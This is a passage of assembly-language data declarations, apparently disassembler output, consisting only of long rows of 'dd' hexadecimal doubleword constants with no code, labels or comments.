		dd 18281BA8h, 546A327h,	569F739Dh, 9AE58739h, 0F8566573h
		dd 795566Eh, 0BD3FD84Ch, 0EA215625h, 14A037FEh,	3A3C028Bh
		dd 909393DEh, 0B1EDCF0Ch, 536772FBh, 1D7051F2h,	8721E423h
		dd 0CC28BC12h, 9E568A07h, 0EF607272h, 0DE53420Ah, 287F90D3h
		dd 6C9E1E1Eh, 0B2357BF4h, 61A86EBBh, 0B275BF13h, 566D6988h
		dd 0EBD839B4h, 5BB0A471h, 890ED3CEh, 0BB8A3BF2h, 0DFE62C0Ah
		dd 0D38CA290h, 30DA1B60h, 67133876h, 0B3D74A2Dh, 0DD1AE8C0h
		dd 4C572FFEh, 1BD0C1Fh,	3918AA1Ch, 0E12122C4h, 363165D9h
		dd 0B41F642Dh, 2D360930h, 0CE407028h, 1F83D209h, 0F1E25601h
		dd 37969268h, 0C468D0D8h, 24C20256h, 0AD10B9Ah,	5264124Ch
		dd 4BEE4223h, 0F286BFFFh, 9588086h, 68C123C9h, 4B108463h
		dd 0B90A287h, 198A4C06h, 2A8A05AFh, 0E7920E21h,	96DC9B05h
		dd 2581E827h, 2AA54D6Fh, 4BDA12FCh, 8186705Eh, 0A21E83F7h
		dd 7C88EB69h, 0BCFCE2A5h, 11A92B3Eh, 0A5505448h, 0AE19156Fh
		dd 2B213301h, 9F3645B9h, 0CB328E7h, 0EB6A6A03h,	50414BBh
		dd 5D4145E2h, 0D01D83DCh, 5B5F6FD0h, 21889C85h,	6BA8B5B8h
		dd 45618F81h, 0D7106F68h, 4A490341h, 0A0E8A199h, 479C028h
		dd 0DF27815Ch, 57EC04C9h, 0D6B52379h, 86913C62h, 0D4DB11D1h
		dd 93A85F22h, 599753B7h, 35A076B5h, 94C13213h, 54265006h
		dd 150B7F06h, 0C7122E6Fh, 6D9DBFCFh, 0E493F5A9h, 0FF7D23FFh
		dd 0F39ABE1Bh, 0D910D75Bh, 496AB4BAh, 0BFDD4018h, 0CA14D7AFh
		dd 265EE69Bh, 0BB0B1F11h, 5016929Eh, 3BF84FA5h,	0C1E1D79h
		dd 90E6A8FBh, 212E2B02h, 2A618CA3h, 0C4911DAAh,	6E730D21h
		dd 0AF1E0A98h, 0FC9568Fh, 49FD9360h, 926F201Ch,	0F175D306h
		dd 9DB1AE07h, 9A550B4Bh, 0BDE8272Fh, 7DA8C458h,	5896B302h
		dd 0E3FC2785h, 80BA69DAh, 0EF5873B7h, 0FC52644Ch, 7823922h
		dd 90C624A1h, 2F65AE5h,	0F8D2370Eh, 0B1E9C54Ah,	69B6F39Eh
		dd 6025A5EEh, 0AB7BF3C0h, 0D12EED41h, 4371D7D9h, 97207723h
		dd 2D38556Dh, 3B735FE6h, 0F7E98DCAh, 0E5BE10D9h, 1E8E0087h
		dd 61DCB59Eh, 8660F26Bh, 7B5481FCh, 694E8D57h, 97F1B880h
		dd 0F4E7426Bh, 145A66A6h, 0A0E3DE7Bh, 8BC8F4A5h, 4AF181F0h
		dd 8295C98Bh, 7786337h,	693F5C0Fh, 6440689Ch, 88F057CAh
		dd 9515BD21h, 61A87E22h, 9C2A5CA5h, 0C07F7E45h,	3CC1F55Bh
		dd 9D6DC94h, 0DD8FBFE4h, 0E2D058Bh, 4CC1A919h, 87DA1744h
		dd 8415DBB1h, 41DAA93Bh, 10B93597h, 649CEBFh, 0DF283855h
		dd 0B2E8AD87h, 7E882F41h, 0E867513Bh, 9AAD9571h, 288D97A5h
		dd 282F515Ch, 82C517Bh,	6F3DE699h, 4A4858BAh, 184FA6F8h
		dd 0ED93A5E0h, 0E0A8E79Dh, 0E7BF58DFh, 6268849Bh, 656A3A61h
		dd 0E2490E29h, 65E0F67Eh, 0FDD223D0h, 4FF996E4h, 0B4E49557h
		dd 0CFC4938h, 180C9997h, 41D431AEh, 6FEE0422h, 6086063Ah
		dd 79023133h, 9D422651h, 8B919FD3h, 66D5A1C3h, 0FCFCF2ECh
		dd 0E5358537h, 379FBEB4h, 62B3C413h, 7A0B2105h,	4394089h
		dd 0A22DD2F3h, 0F41CEE63h, 222ACB82h, 958C85D0h, 234255CAh
		dd 1B0A7000h, 0DE274C94h, 11D4822Ch, 0DCA5CA8Ch, 0A482CE00h
		dd 8D08F977h, 0BA77084Dh, 89AE2B49h, 0B82616E2h, 74BC08C4h
		dd 968E8630h, 0C0B7E391h, 6CAD273h, 50909597h, 0DB6D2E7Ch
		dd 93BBCBA6h, 56D21C49h, 32993E16h, 0D4EDC3E1h,	6B67D980h
		dd 0CF43E860h, 0E8679FEDh, 4C0F215Bh, 83C2F4FEh, 1CC1D19Eh
		dd 0B3ED619Ch, 9596E69h, 83D37AF3h, 3D342690h, 14A4CFD1h
		dd 8010500Fh, 3F74B406h, 567925F9h, 6AA33966h, 280DE50Dh
		dd 5877B11Ch, 6E98A304h, 322CD2A7h, 0C7365C63h,	0E5ADBA4Ah
		dd 8B581C43h, 578D6C5Ch, 0CF16F43Bh, 4BE831CFh,	93B95DCEh
		dd 0B07097B8h, 8AFCEC2Bh, 0CA9B7BE7h, 9E27CB6h,	6796D5E5h
		dd 0D4A4FB56h, 9E866517h, 72C2F03Eh, 76A22AA2h,	286C966Bh
		dd 0A85B20E9h, 6C680BFh, 26A4796h, 2EC8F0E8h, 0A0839770h
		dd 89D48B88h, 0AE9B5C8Eh, 54B47C5Fh, 0E996FB15h, 7E3ECE62h
		dd 580EAC6Fh, 0CF6A91A6h, 36BC2DBCh, 0CD520FE5h, 9F3E2A59h
		dd 0D5084D16h, 4C42C9FAh, 0D35AE202h, 0B17AB566h, 0CF3A2216h
		dd 845B20B4h, 98310221h
		dd 0AD2E0C0Ch, 93B024BAh, 8C692813h, 410165EEh,	86F02F62h
		dd 516AA4C3h, 0CBD6F1FBh, 9832ABDEh, 7619F411h,	0F4004A87h
		dd 1CD4CF52h, 0FE6133E8h, 0AFE90FDAh, 0AEF1921Eh, 72A761CBh
		dd 9E8372E3h, 6A388017h, 2A29B9DBh, 5061C3D1h, 6FCE8F3Fh
		dd 20DBC5D3h, 0BBDDB52Ch, 0DEAE23CFh, 0AC301A3Ah, 0D4D20528h
		dd 377A3A7Bh, 53A2591Dh, 0B2FAC52Dh, 0F312CD2Ch, 0B973E9CFh
		dd 8A8E8C75h, 27C91D23h, 2B1B48DAh, 857360FCh, 57C2D799h
		dd 51BB76D3h, 5050ACF0h, 15AE5701h, 0CD3A4B66h,	0D9B827B8h
		dd 51CC87EDh, 0BCF0E902h, 1CA5F17Eh, 8B1B41B5h,	0E910439Eh
		dd 0D2342725h, 74887560h, 0E726E097h, 0C52FE055h, 619CD16h
		dd 63894431h, 0A5782F17h, 4E9A3E1Bh, 0FFB2A446h, 0C3428F17h
		dd 0C7C3845Eh, 0A2A24143h, 0FAE0ABEDh, 0F764CEC4h, 4DA39080h
		dd 0B92B27D6h, 573A12A6h, 0CC9492B6h, 0BEECCBFFh, 32D3E6A9h
		dd 0E1733E88h, 0AD295E06h, 9FB358C4h, 0FA1DD1AFh, 0D778F037h
		dd 0DB8EA46Eh, 3DBC02A3h, 20E1997Ah, 0B45A88F7h, 5ADAF089h
		dd 5105A30h, 29D2BFEBh,	8707175Dh, 0F423C044h, 0C55C9ABFh
		dd 0CA0F5CB5h, 0B6802975h, 0E7850027h, 9AB4312Eh, 955AF660h
		dd 647FDDFDh, 0F54B61A7h, 563A64DAh, 0A9CDB7D8h, 0CAE61082h
		dd 0AA53F202h, 46E98401h, 0AE6F27A7h, 0EAD219C7h, 0FC3AE53h
		dd 0F288DE98h, 875BA624h, 62B69556h, 0D962B631h, 5D3F7BEDh
		dd 0E3C0EB99h, 0C219DE9h, 70EBACE9h, 0B8980E09h, 929292E4h
		dd 7B90DE2Dh, 224208F2h, 0F6EEB857h, 0BC3B0447h, 0BD4A3834h
		dd 4639E7E4h, 2DD78772h, 87678880h, 59363560h, 9E3F2061h
		dd 8D8090F2h, 0AAD244BBh, 4BD4AE88h, 88FB2DEBh,	84361009h
		dd 938D3DAFh, 859EC52Ah, 619D926Fh, 0DF319948h,	0D73560A7h
		dd 0C376D31h, 0C377169Eh, 2BB8867Bh, 5708DDCCh,	0F5A7C92Fh
		dd 4E24A714h, 4D36E1F6h, 5EFF02A8h, 0C347AA6Dh,	53E741CAh
		dd 147176BDh, 0F90250B2h, 0A22647FBh, 0A77DE83Bh, 27BF6121h
		dd 67944AFCh, 82C9F2h, 0E284D2CBh, 1A671EDEh, 3B6B49C4h
		dd 0C546CDFCh, 6D7374FAh, 0D8F39D3Dh, 6C3ADA62h, 3C15264Ah
		dd 3D22CF9Fh, 12B328EFh, 8C60522Bh, 0A5251A4Bh,	0E8B6019Ch
		dd 43F8D351h, 5371E05Dh, 71014958h, 9550B499h, 46D4B864h
		dd 0C5DDDFE7h, 0D05EE771h, 0DB6A002Eh, 69AD2198h, 4B6BAB01h
		dd 82E0254Ah, 35A1DEABh, 9611904Ah, 36176F08h, 0DE6EE10Fh
		dd 0BE037196h, 14E79411h, 3F6C40E7h, 5B73012Fh,	0FD078610h
		dd 30E754E9h, 2D8A7BF1h, 0D69DF7F2h, 90A75E1Ah,	0E6C526F9h
		dd 0E0F7EAA5h, 0CBDFB698h, 0F67DCC62h, 0E3A1C617h, 24434371h
		dd 6AB51658h, 0D7FA76E2h, 0B341FC84h, 5342D8E9h, 0B105C0E9h
		dd 2254AA98h, 0E49B29C8h, 99F72334h, 9C2B5h, 0E998D2Dh
		dd 0F88B7810h, 0CA9FE9BCh, 4C23A8A4h, 9AECDE8Ch, 0F82005A8h
		dd 1917AE9Eh, 0D9FA03ACh, 9109DD9Fh, 0BF0A6F07h, 0AF8C0ECCh
		dd 0BA43DF99h, 4B08DDE5h, 481264CEh, 0DCEB3746h, 0C070096Ah
		dd 605A60DEh, 546C406h,	0D77CD7Dh, 8B762258h, 13835772h
		dd 8AA81604h, 0F794AFA6h, 47C09F74h, 0A310254Ah, 0F82786DBh
		dd 6E7E8C86h, 0A4EB82D2h, 0AD0FC59Eh, 4F1DBFDCh, 2FE1FF0Eh
		dd 2573C617h, 0D613F33Eh, 69D4C4E0h, 3333F335h,	22981200h
		dd 0E55AB316h, 417CA946h, 690A7803h, 34C757CFh,	0D78F5BAAh
		dd 215AE1A2h, 0C9072296h, 63C64D75h, 7921A2A6h,	5EC74B57h
		dd 0BBACEA15h, 0D02C0108h, 0F2117E8Ch, 35F62AA1h, 9739FCCEh
		dd 0BFA0756Eh, 0B1D5720Dh, 24F13C77h, 77A442DAh, 571E1AA4h
		dd 0B5F6F803h, 0D1D3FB2h, 5DA7D294h, 0E0C12877h, 0EA04FA54h
		dd 7B864E1Eh, 8771BE98h, 0E62C3298h, 0DBE76F39h, 7881E059h
		dd 40F762A7h, 75F39421h, 26ABDB00h, 0DEC82915h,	0DB678C21h
		dd 5A1BD524h, 9FA1CEBEh, 0C4D316F3h, 0CBAA474Eh, 0BA135ED9h
		dd 0A5ACC1BCh, 0A2096056h, 36BC612Fh, 0E6757899h, 8BD3EEBh
		dd 0B511B2BCh, 0FB69E69Bh, 0E2A7109Dh, 19EF3F18h, 0FD0FC18Dh
		dd 0E30E2B7h, 0ACA33868h, 6DCEBB2Ah, 0CF0FE939h, 3EA00837h
		dd 5DC2216Bh, 0EE1A9035h, 0EDFCBDCBh, 0BE98C263h, 5076D79Ch
		dd 0A672418Bh, 0EF8A9183h, 6024AFB5h, 0C7945921h, 0E0C3724Bh
		dd 5E1795B9h, 0E1C1853Eh, 111DD579h, 0D1922702h, 336C0558h
		dd 552293D4h, 0F7BE6FBFh, 8BC97CBh, 4FFE146Fh, 0EA5B43C1h
		dd 0BF55658Dh, 3678BDABh, 0DBDCB547h, 0B7D88B3Fh, 16F9396Ch
		dd 7B34715Ah, 0F311453Fh, 15E47F37h, 6C8C260h, 0BCEB985Ah
		dd 0D3C25B2Ah, 845508CDh, 1710B5CAh, 2381245h, 0AE356D1Bh
		dd 0ECBF2AB7h, 74E8082Ch, 9FEEDE29h, 0E3AC2913h, 0B790BE97h
		dd 0E634D8DCh, 0C1A15998h, 59330C6Fh, 372F461Ch, 6DD59390h
		dd 0DE403FC8h, 2CA78E37h, 0A0E01696h, 1D09C8FBh, 0DC824A55h
		dd 80DC7A83h, 0FEC90AC0h, 0BCAACF73h, 0ACEAC9EAh, 2CD7D71Eh
		dd 0D7C61BB0h, 4D02A64Ah, 73F6CED9h, 1FB10542h,	10E49BF7h
		dd 0F6761891h, 55CF610Bh, 4B244D84h, 8D798D76h,	649134E6h
		dd 0BCDD76B2h, 9CFF9E35h, 47A697F9h, 37E7C7B9h,	90B24137h
		dd 613AFD5Ch, 16944306h, 6CCB9C96h, 9375C97h, 44C70FF3h
		dd 15C05990h, 1794E388h, 6F6170D6h, 3FED0FC1h, 0F62ADA6Bh
		dd 115B5702h, 67E8511Ch, 0EA69567Ah, 0E90DD1E3h, 0DA2055BAh
		dd 0B2336CA0h, 105908AAh, 7D455C39h, 8E45C5AEh,	89ABD74Bh
		dd 0E508DF03h, 17F75DF7h, 9C697566h, 0F08F078Bh, 0DB3E6B2Eh
		dd 5DF5AC5h, 84565587h,	16287261h, 8D74323Fh, 3F9C345Ah
		dd 4E4D529Bh, 39EC8618h, 5776B7A3h, 712979D8h, 0FE6CB27Ch
		dd 34BF9E6Ch, 0EA48857Ah, 0DF49E451h, 0D98F840Ah, 0B135971Fh
		dd 57E52AF1h, 7696E43Fh, 48714CD3h, 4264410Fh, 64886DFh
		dd 157A1274h, 2B21DC1Fh, 58870291h, 32FDC217h, 87DBAFE5h
		dd 789DFA7Dh, 0DA501879h, 61AEC09Eh, 0A5A481E1h, 75FC1E2h
		dd 0CA28511h, 8B94FBA7h, 9457661Fh, 0D90458FDh,	0D40D3614h
		dd 43401ABDh, 0FC112558h, 95C608C3h, 7BB0AFE8h,	80CEC94h
		dd 6548907Bh, 0A69B1623h, 30A217E0h, 0F2D0646Ch, 4B2ABA3Eh
		dd 7A293575h, 0BAAD36F6h, 0B946A9E4h, 8967AE2h,	4F73580Bh
		dd 3895CBE9h, 73581F70h, 55837303h, 1D52E57Ch, 87322D92h
		dd 0A20723C3h, 659EB9E3h, 0EEA43318h, 78BDE3B7h, 0FC559C67h
		dd 0C91672EFh, 0A97F02D2h, 2F80C805h, 0D69B13CDh, 71F5E658h
		dd 8A19ACC0h, 5D6FE7Ch,	34A10836h, 0B13817ADh, 0AA897D85h
		dd 0E20FE6F7h, 0BD544714h, 5EFC7E3Fh, 1E968754h, 0AE8DDB1Ah
		dd 591E0AD4h, 0DDD217A2h, 0AD2BAD7Ch, 7B848221h, 0B98A7BABh
		dd 946DFAE1h, 6A11ED7Ah, 1C7B782Ch, 0A015310Fh,	0D51258A1h
		dd 65829581h, 8F75FB8Dh, 9EF02ECAh, 0EB391E4Dh,	1A03DA96h
		dd 0DEC7835Ah, 5643FF2Dh, 99DF3E49h, 0F2D18B10h, 608BCE5Eh
		dd 4B90DF72h, 0E2050912h, 0EADC5BC5h, 0FC74B38Fh, 1605C15Ch
		dd 7DA3CA59h, 0C8AECB9Ah, 28CAE795h, 5AD9F512h,	7B385709h
		dd 0DD1C2113h, 797F2CD2h, 0E75F4B13h, 9315BEE1h, 1731B2FEh
		dd 0C59ABFB6h, 0B84D4347h, 9EA969CDh, 965E849Fh, 6E341B68h
		dd 34EBC0EFh, 3035A189h, 0BBBAF96Ch, 0FF39B9BFh, 6861024Dh
		dd 0A69177F9h, 17CBDE83h, 2BD00E9Fh, 2BE0D9E3h,	2F346930h
		dd 0B4CA03F9h, 2AB71381h, 0DB2B228Dh, 1B04BB20h, 0E95CDD68h
		dd 930A5BD0h, 92DCA938h
		dd 629B8B7h, 6AF088F1h,	2940A685h, 0A634A558h, 3D806E6Ah
		dd 0BD789ED1h, 8DFB6248h, 0B4946363h, 0E8620CF6h, 0A12D398Dh
		dd 48412F36h, 49242EBh,	9E79A464h, 1DC776D8h, 3AF9D1B4h
		dd 562CC6DFh, 0AE1F4D5Bh, 0EC5AD6E9h, 0B59F9123h, 311E9C4Fh
		dd 0CA1266CFh, 0C0E5696Ah, 795CB9D1h, 0BA54386Ah, 0AA5B335Eh
		dd 24F55C34h, 5FEA1189h, 0FF42CD28h, 0DE73AF9Eh, 94F76C01h
		dd 0EFDBA31Fh, 92EC8BC1h, 0DFB3C5B2h, 0EE07F9F5h, 37C1525Ch
		dd 1AB746B2h, 0D9EC07C7h, 91A6E3E0h, 2A439E32h,	6EA58471h
		dd 0FC5FC16Ah, 4FE9989Ah, 6BE31693h, 0C8D82B3Dh, 273E9122h
		dd 74254D14h, 0A8564F6Ah, 0CF78512Eh, 0B6DA4663h, 33A6BEB9h
		dd 0DA90A3A3h, 0FEF11AE6h, 3A431350h, 1195BD1Ch, 0A5D438E0h
		dd 0FBCA6435h, 21E72A48h, 5FC6C495h, 82FA60D4h,	0BCAA660Fh
		dd 384D27BDh, 0BE639B58h, 388E224Ch, 49CB436Ah,	14379B7Ch
		dd 0D94F8EEEh, 0CC7DD55Ah, 1D81FE8Ah, 7378DBE9h, 51F97AFh
		dd 0B2AE3F93h, 7D70259Ch, 5F85F036h, 9FD12D67h,	0F1AC1EDFh
		dd 0FE368FE3h, 0EE89321Dh, 9DE3F116h, 0D31D220Eh, 39DFCEF6h
		dd 0F8E164ECh, 0E98095CEh, 5AF38EA7h, 4930E3F6h, 3E3464ACh
		dd 0D5A00D23h, 0B855BE0h, 7551F3B2h, 0EA8A7FF3h, 0B360F073h
		dd 0F0B69514h, 2F682484h, 3724D50Eh, 0C5C57E1Dh, 3565C832h
		dd 0E50FEBCh, 0A5C594Ch, 0B62F4EEh, 4C4A8E9Ch, 0A64B5BD4h
		dd 7300BB0h, 6E837C91h,	0B763F234h, 67F80313h, 27CBB83Fh
		dd 0DB85C9F7h, 0F2815455h, 0AF499D37h, 0AD21AFA4h, 2374E860h
		dd 0C94AE788h, 1ED9D8B0h, 4671135Dh, 3DCE2025h,	1825CEBCh
		dd 62A6CFFBh, 2EF22EDBh, 755D608Ah, 6C50201Ah, 13DF7DB5h
		dd 4D9725BAh, 7E806F5Dh, 0DC04006h, 1B1472ACh, 7CC7BFE2h
		dd 9394EF87h, 0A416CB15h, 0B56797FEh, 862922FDh, 2FE55865h
		dd 4D11CF84h, 0EEA3C9B5h, 0AF7F9214h, 0FEA403B1h, 8177F6E1h
		dd 25447FF5h, 0FB68BB6Eh, 0C1E941EFh, 0C68305ABh, 822CAFEEh
		dd 0A7F860DAh, 3B3A003Fh, 61A07744h, 8E048FF0h,	0AD2370D6h
		dd 0B3F471DBh, 462D235Dh, 3B8FE265h, 0A936FECCh, 0EABB8E55h
		dd 3028AEAh, 0C55AE8A6h, 0F659B74Fh, 0CA41A4E0h, 0A2430B88h
		dd 7FDEDB12h, 0D3B0406Ch, 251FC4DBh, 8AC41F06h,	0EBBE9545h
		dd 2958EE65h, 455CB9C3h, 38DBA801h, 786B9E63h, 0EAB992CCh
		dd 870F1979h, 549F0E4Fh, 0FD57789Fh, 38E2F04Dh,	45CC3691h
		dd 0ECDE21F2h, 80ECBB31h, 262CB207h, 3D624EB6h,	4B9F954Fh
		dd 0DF8AF275h, 56FBC7ECh, 64AF6241h, 71D29ACBh,	0EF435663h
		dd 0B55B069Dh, 7C677ED1h, 860E8CFFh, 619C5D4Ch,	2D23F0E7h
		dd 0D5602C5Fh, 8379ED7Ah, 9FFBF5C2h, 4A7498FDh,	827BE8E2h
		dd 0B2CE4AEEh, 654E21C2h, 4D19506Eh, 1952AFE6h,	67BFD6BFh
		dd 24047BFFh, 8BF6C3B1h, 0F9794B1Dh, 0D79D9AFFh, 0B7F78559h
		dd 0BF3BAFDEh, 0E124CC43h, 4CE216Fh, 3BB7ED84h,	0FFA65455h
		dd 49C0F6C0h, 982E4058h, 0E932F342h, 76E82B0Ch,	95C2E8CEh
		dd 0C9AD48BCh, 0D1F58FF3h, 8A01BF58h, 4C7BDFF1h, 126A5716h
		dd 58044E76h, 0EC22379Ch, 0D28D338Fh, 0B4F5FE68h, 6230F92Ah
		dd 0CBC33B79h, 7041FCBh, 3EC4963Bh, 5AD18B79h, 78C997CBh
		dd 18BB31C7h, 0F7E132BBh, 2D4B8A67h, 482AE768h,	0EF7BF6F1h
		dd 0AD652D27h, 1611B634h, 0EC77142Ah, 34AB7440h, 83436DA1h
		dd 0EC825A16h, 0BB403771h, 710DC50Eh, 98C5239Ah, 82D713F8h
		dd 0AAA6A5CEh, 749E991h, 0B82FBAAAh, 4B1BFCEAh,	41A0FE00h
		dd 56A4164Ch, 83FAFD12h, 0A595E776h, 142E5713h,	167E3736h
		dd 9D7053Ch, 599573BEh,	3B729E80h, 0C52BE2C6h, 1D0D4559h
		dd 31F9B6Bh, 0E937E84Ch, 8ACD3481h, 0B6E8B7B5h,	9046423Ch
		dd 297FDA46h, 3B045BB1h, 912DF80Eh, 732A2550h, 6B8CB188h
		dd 29D208DAh, 3B735772h, 5F2E37BAh, 0FF3F9E56h,	0D3F73016h
		dd 2C240A70h, 0D2A604CDh, 1F8F60EAh, 0C082807Fh, 67F87E50h
		dd 17E18CCDh, 464AB895h, 9A62FA96h, 16172B19h, 2ECDF03Bh
		dd 0FC0D96AFh, 0D65121BDh, 4D56C518h, 0BCA8024Fh, 2F8B0359h
		dd 0A65ED96Eh, 12A3910Dh, 0A8F98625h, 7AA7E917h, 3F6302B5h
		dd 0D50950EDh, 9816420Bh, 0FD88C5E2h, 12B178E0h, 8D92EE0Bh
		dd 0E7A6CDB8h, 39F2AD8Fh, 488A0DD2h, 6D72C90Ah,	126F1BC2h
		dd 5FA60F27h, 69E58A38h, 85E326E6h, 0B81D3266h,	0D8EAF084h
		dd 0C0A4A50Bh, 0D33F3BDCh, 7A71532h, 90F0D55Ah,	5BAD633Ah
		dd 742C289Eh, 8234054h,	0A2369467h, 690B44B2h, 16A74DA8h
		dd 920F988Eh, 7BF68C37h, 0D36BB3C0h, 54679927h,	0C3F17638h
		dd 9BCA6906h, 3B75AA38h, 75C64554h, 393EC6BBh, 8B870745h
		dd 4C2307A2h, 0C4EBB74Fh, 88279970h, 0E91A6A20h, 58DF9561h
		dd 30848B10h, 0E85BECDCh, 31C4368Bh, 0CAEDC13Bh, 0E3E99906h
		dd 0DF4600Eh, 6522B413h, 0BFCB8912h, 70BFCCCBh,	0F0AACB1Bh
		dd 4CD27939h, 54BA9958h, 7BC4884Fh, 0A0D7F7A9h,	1E702F02h
		dd 0E1A377D7h, 768A606Fh, 7411C850h, 701F8A32h,	5FE85C24h
		dd 19C1B4CCh, 2BF92455h, 7C459C48h, 61268925h, 0BDC7A6A5h
		dd 22D85568h, 0D8E7959Fh, 0BE31A158h, 4FC341E3h, 0E1B12C18h
		dd 396044BDh, 0BF66710Fh, 0CD5FE40h, 0E4BA9966h, 0BC5C5B22h
		dd 39D43B90h, 0D5D8903Ah, 215AEA96h, 0CCB5B0Dh,	0E657DEFCh
		dd 33F8B955h, 0C2ADBB57h, 2B22F3A4h, 805F46AAh,	1625A4DDh
		dd 15E787BAh, 0CE3B89A9h, 30034D82h, 215BBCBh, 42D6BE9Ah
		dd 4800ADFDh, 0D89E4FA8h, 45485FB3h, 0F6B30480h, 92DEA02Dh
		dd 0FC1F3670h, 4F41993Ah, 0F94008ECh, 4EDD7D80h, 34F8B509h
		dd 82EC066Ch, 0A76BA91Dh, 0E37B7CE6h, 981800D7h, 18F02DEFh
		dd 28B507E6h, 0E38C6C9Fh, 9548DB47h, 71533ECEh,	367693B6h
		dd 0B4043F57h, 4C16364Fh, 36853252h, 0A8068BBh,	0E05CA90Eh
		dd 0E3A68D20h, 938EF28Ch, 4BBDE902h, 0AA9B0E6Ah, 27CAA66Fh
		dd 945C74E7h, 989AD064h, 3463E0CDh, 31D6FD8Ch, 0D59B1D0Ch
		dd 5B3E8D5Ch, 0C27155D1h, 0F627C998h, 0FE502467h, 71A186B4h
		dd 61D404D3h, 70A2C0B5h, 0BF1AB8B3h, 0E409347Ch, 0E3E0E5D0h
		dd 0F80AB031h, 64C80A44h, 88217B14h, 0BCF4EADBh, 8F96770Bh
		dd 6A9BDEDAh, 0D7DBF552h, 0CACA608Ah, 698CCDF2h, 3C8A06BAh
		dd 515C2842h, 0D0EDCD25h, 29F2D2FCh, 0FDBB7B36h, 0CC068640h
		dd 41E9103Ch, 0D919BC12h, 0C1AD2BA8h, 0A7C8C32Ah, 7A617AD8h
		dd 0DDA200Ch, 561495A4h, 690E2810h, 0EBCA3715h,	0C1E3AC30h
		dd 79D89688h, 68C3C71Fh, 0AAA17DB3h, 3A86E8C3h,	7A6194ACh
		dd 49393778h, 0C2E87F8h, 5F72B986h, 0FEB902D1h,	2D0D75A8h
		dd 0A3D02968h, 0E6708E69h, 0CA27DAB0h, 7CAB6844h, 0FAFC1E28h
		dd 7CA1BCCEh, 0F052CC20h, 0BAB2F2DCh, 4233FA54h, 3D076355h
		dd 8A2413F9h, 89432040h, 0F38ED439h, 0EF880AB9h, 3B9CEA08h
		dd 0DBCAAE81h, 160649D0h, 7FE1F108h, 323C8CFFh,	26DE5F44h
		dd 9542ADB0h, 79C579F8h, 0B5E90186h, 8D4AC358h,	0E5327A30h
		dd 713D787h, 85468104h,	0FC967A4Ch, 18FD0F8Ch, 0DB4FE513h
		dd 598C643Dh, 79BB26E4h, 6C903D59h, 98E7F256h, 0AEDAE3E2h
		dd 8048BF7Ah, 334E1616h, 5E55A5B7h, 0FCFFFEACh,	0FE3C6E3Bh
		dd 0ACB0CBE8h, 3C7094C9h, 0DED6CCBCh, 4BEA4F66h, 3A67EDF1h
		dd 0C55E0CE8h, 0E554576Ch, 87D022D3h, 4361516Dh, 902465FFh
		dd 1083E283h, 90F3CEF1h
		dd 1040B23Eh, 2FA5F6BAh, 82C3836Ah, 0F79B3334h,	0AB9916Eh
		dd 53B2Ah, 0CC50D4A6h, 0A89B2B98h, 40255F80h, 0C9A2FDB1h
		dd 0E88F51D6h, 0A6C0FAA6h, 69B17CAFh, 9DB68B90h, 0B904D6C4h
		dd 0B02305F5h, 0E285FF60h, 0A1E82438h, 3653B635h, 185751BFh
		dd 0ED600ADFh, 0ED5FF3ABh, 0F7B32D1Ch, 0D4EBA72Ah, 1912ECA0h
		dd 4427CE3Ch, 8795719Fh, 8A9FF367h, 81F39440h, 0A8146AA8h
		dd 98921A06h, 0DA6CCAAFh, 29DD4642h, 5C390BDAh,	52701A2Bh
		dd 0A7BEC21Eh, 85EA736Dh, 0D1A809A2h, 0C72485A0h, 4ED21A12h
		dd 26ACF7C4h, 37C0FA40h, 0B70392E1h, 849BF5B1h,	14291C90h
		dd 93B88FEFh, 6E8FC0B4h, 0CC1AEAC3h, 9AD36CAh, 0DA487DC0h
		dd 0CC47862Fh, 9328D3AAh, 74E3356Fh, 0DC0E6269h, 0E3F0B342h
		dd 891EA229h, 0CE517F23h, 530F05DDh, 8A43B565h,	1247603Ah
		dd 0BFDA1A5Eh, 8F5BD9F9h, 52534229h, 0C75BB148h, 0E55CBAA2h
		dd 5296C1E8h, 7F7DB428h, 36CB3C37h, 0F29D1E2Dh,	98957735h
		dd 0D398F5BAh, 2BC98F6h, 4336325h, 8DA40BB8h, 66D6D85Dh
		dd 2E777D3h, 1D041971h,	5C921DA1h, 0B49FF269h, 4EEB93A5h
		dd 0CAC79DEBh, 83957249h, 9036EC28h, 0C288E7FEh, 2502AC26h
		dd 83D39F6Eh, 0D2333331h, 413498DCh, 0AC04C5BDh, 1D7CE38Ah
		dd 6AB72C8Eh, 0BC9F908Dh, 0FB7759CAh, 755E4E91h, 7BBE7757h
		dd 809B52D0h, 3F6DF583h, 0A421CF11h, 3AE92A7Ch,	0D5835D3Bh
		dd 9B1FAA62h, 8E9A242Eh, 25BDE1Dh, 0B6D290Eh, 7330D30Dh
		dd 122E5F0Ah, 0E85B14ABh, 0E710C2AEh, 6761EAB3h, 0AD5B2F8h
		dd 0D70CC1BDh, 0F0D4B574h, 80F60226h, 812A32AFh, 2238CC82h
		dd 0BDC3EFC5h, 0DFC9B8A5h, 0D19FEB7Ch, 116A9C1Ah, 3E75C19Dh
		dd 0E9EE7B2Ch, 0FDFFE573h, 36BC2D00h, 0F8A364FCh, 221BFA30h
		dd 1D35559Ah, 0D230F8B3h, 0EFBFC04Dh, 19704BC9h, 0BD0F2DFDh
		dd 5F45C2B7h, 0BBF6BB42h, 84A56F10h, 0D9103F67h, 0A67D7A1Bh
		dd 7D83FC2Dh, 0C333F8C5h, 95D8AA4Bh, 2B7A3E34h,	4C051CC9h
		dd 3DF1AAC4h, 599BFD4Fh, 0A5AE019h, 7E6DD2FBh, 0E80B1AE9h
		dd 4FA9E2CDh, 0B4C7B14h, 0BE967EE6h, 0C0AF4310h, 289350B3h
		dd 0BA7CAB28h, 4F84C2AEh, 69665125h, 75D96E5Eh,	0E824C1EAh
		dd 96E396A4h, 1BE89962h, 9099AEB6h, 0C3C27F1Fh,	6977C156h
		dd 9E19A6E1h, 0FB20AF39h, 2E99B669h, 11130EC1h,	724304F9h
		dd 7150F136h, 0B4B11D28h, 0DAEC9535h, 3FAA76EDh, 6B3A85B6h
		dd 0C32DE7C3h, 0C2CFB948h, 826F198Ch, 0AC887D04h, 3A832B99h
		dd 0D400F81Bh, 9B775D7Dh, 0A8E6C3E8h, 0AAB967FDh, 8A815A4Dh
		dd 0B9E12F49h, 2B7CDE97h, 93E0C252h, 62255ACCh,	3EB5BF95h
		dd 0AA067D7Fh, 0B051A335h, 8E54BAD0h, 0C5A819A4h, 7E3AC1F3h
		dd 4BC37EF6h, 6CDF7AD7h, 31607C47h, 9571E61Fh, 47FEA1D7h
		dd 113BB9E1h, 0DB7A8A7Fh, 7CD60546h, 47312702h,	0AF45325Eh
